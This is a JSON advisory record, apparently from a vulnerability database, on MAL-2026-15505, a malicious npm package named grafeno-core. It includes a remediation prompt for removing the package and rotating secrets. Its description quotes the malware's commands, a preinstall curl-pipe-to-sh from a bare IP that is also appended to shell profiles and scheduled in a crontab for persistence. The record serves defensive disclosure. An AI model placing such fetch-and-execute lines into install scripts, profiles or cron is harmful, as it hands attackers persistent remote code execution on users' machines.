{"answers":{"affected":"1 open source package ship an affected version, including grafeno-core.","exploited":"There is no known exploitation of MAL-2026-15505 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-15505 is a malicious package in grafeno-core, published on 28 Aug 2026."},"fix_prompt":"MAL-2026-15505 is a malicious package: grafeno-core (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-15505/ (Markdown: https://insights.sbomify.com/MAL-2026-15505/index.md)","id":"MAL-2026-15505","markdown":"https://insights.sbomify.com/MAL-2026-15505/index.md","name":"MAL-2026-15505","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The package's preinstall lifecycle script runs `curl -s http://216.126.236.46/x.sh | sh` at npm install time, fetching and executing an attacker-controlled shell payload from a plain-HTTP bare-IP host. The same preinstall appends `curl -s 216.126.236.46/x.sh|sh` to ~/.bashrc and ~/.profile and installs a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, re-fetching and executing the remote payload every 30 minutes for persistent host access. The advertised entry point index.js is a two-line stub exporting `version` and `init`, with no real functionality — the manifest's preinstall is the entire payload.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in grafeno-core (npm)","id":"MAL-2026-15505","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"grafeno-core","purl":"pkg:npm/grafeno-core","source":"MAL-2026-15505"}],"products":null,"published":"2026-08-28","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-15505/"}